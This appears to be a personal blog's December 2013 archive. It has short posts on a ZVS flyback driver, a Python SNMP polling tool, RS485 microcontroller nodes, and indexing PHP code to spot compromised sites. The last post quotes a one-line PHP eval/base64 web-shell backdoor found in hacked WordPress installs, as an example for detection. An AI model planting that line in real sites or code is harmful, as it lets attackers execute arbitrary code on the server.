Archives December 2013

Monday, 23rd December 2013 - 22:40:04

ZVS Driver First Attempt 2

I had a crack at making a ZVS (zero voltage switching) driver for a flyback transformer I pulled of a monitor board. No Joy. I have one MOSFET wired backward =/ I just noticed in the diagram I was following that the bottom of the two MOSFETs was flipped vertically to make the diagram look neater...

Saturday, 14th December 2013 - 16:41:01

Python Logo

Just wrote a multi threaded SNMP tool for fetching SNMP from over 170 cPanel hosts doing 20 requests in parallel. This is my first multi-thteaded python script. It uses python threads and zeromq to hand out jobs, receive results and to control the worker threads.

Much faster than the old for loop.

Now I wish the new elasticsearch box would arrive so I can dump the data in there!

Friday, 13th December 2013 - 11:04:35

Prototype Node

Today I built some prototype RS485 nodes for a project I am working on with a mate. Each RS485 node is going to be equipped with a pic micro controller to do any logic or to connect with peripheral sensors. At the stage the pic16f88 because it has all the goodies like built in USART and ADC etc. I may make a different version with a 40 pin pic either a big DIP one or a QFN or something.

The nodes will be auto-terminating. So when you add a node to the end of the bus, it will terminate the line and tell the node before it to stop terminating the bus.

I tried out a new technique using enamelled copper wire for these prototypes.

Sunday, 1st December 2013 - 15:28:00

PHP Files Indexed

145,755,658 lines of PHP indexed for searching as part of a migration project I am contributing to. Once I get some spare time at work (hah!) I may use the data to try and detect some nasty code - eg some compromised sites and such.

The old classic code injection technique. When an attacker adds this to your PHP it's basically open slather for them to execute whatever code they POST or GET to c_id.

@eval(base64_decode($_REQUEST['c_id']));

I see this type of thing the most in wordpress installs. People don't keep wordpress (AND i'ts plugins / themes) up to date and then suffer the consequences - typically this sort of attack is not targetted, it's an automated tool which will probe wordpress installs for vunerabilities until it finds one it can comromise.

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